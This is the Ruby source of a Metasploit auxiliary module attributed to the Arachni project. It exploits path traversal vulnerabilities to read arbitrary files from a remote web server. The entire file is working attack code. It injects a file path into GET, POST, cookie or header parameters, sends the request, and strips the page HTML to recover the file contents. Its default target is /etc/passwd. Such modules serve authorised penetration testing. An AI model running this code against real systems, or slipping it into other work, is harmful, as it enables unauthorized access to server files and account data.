require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Arachni Path Traversal Module', 'Description' => %q{ It exploits path traversal vulnerabilities in order to read the contents of a remote file. It will also try to clean-up any HMTL code that does not belong to the file. This module is designed to be used with the Arachni plug-in. }, 'Author' => [ 'Tasos "Zapotek" Laskos ', ], 'License' => BSD_LICENSE, 'Version' => '$Revision: 9212 $', 'References' => [ ['URL', 'http://github.com/Zapotek/arachni'] ] )) register_options( [ OptString.new( 'GET', [ false, "GET parameters. ('foo=bar&vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ), OptString.new( 'POST', [ false, "POST parameters. ('foo=bar&vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ), OptString.new( 'COOKIES', [ false, "Cookies to be sent with the request. ('foo=bar;vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ), OptString.new( 'HEADERS', [ false, "Headers to be sent with the request. ('User-Agent=bar::vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ), OptString.new( 'PATH', [ true, "The path to the vulnerable script.", "/cgi-bin/generic" ] ), OptString.new( 'FILE', [ true, "The file to grab.", "/etc/passwd" ] ), ], self.class ) end def run # # There must be a better way to get the diff but this is good enough for now # begin file_orig = datastore['FILE'].dup splits_file = get_file.split( /\w*$/ ) datastore['FILE'] = '/' splits_empty = get_file.split( /\w*$/ ) print_line (splits_file - splits_empty).join ensure datastore['FILE'] = file_orig.dup end end def get_file cookies = _sub_injection( datastore['COOKIES'].to_s, ';' ) headers = _str_to_hash( _sub_injection( datastore['HEADERS'].to_s, '::' ), '::' ) post = _str_to_hash( _sub_injection( datastore['POST'].to_s ) ) get = _str_to_hash( _sub_injection( datastore['GET'].to_s ) ) uri = datastore['PATH'].to_s method = post.empty? ? 'GET' : 'POST' if( post.empty? && get.empty? && headers.empty? && cookies.empty? ) print_error( 'At least one of GET/POST/COOKIES/HEADERS must be set.' ) return end print_status( "Sending HTTP request for #{uri}" ) res = send_request_cgi( { 'global' => true, 'uri' => uri, 'method' => method, 'vars_get' => get, 'vars_post' => post, 'headers' => headers, 'cookie' => cookies }, 0.01 ) return res.body end # # Converts a URI styled query string into a key=>value hash # def _str_to_hash( str, sep = '&' ) hash = {} str.split( sep ).map do |part| splits = part.split( '=', 2 ) next if !splits[0] || !splits[1] hash[splits[0]] = splits[1] end return hash end # # Substitutes 'XXinjectionXX' in values of a URI styled query string with the # payload # def _sub_injection( str, sep = '&' ) return str.to_s.split( sep ).map do |var| k,v = var.split( '=', 2 ) next if !v || !k k + "=" + v.gsub( 'XXinjectionXX', datastore['FILE'].to_s ) end.reject do |i| !i end.join( sep ) end end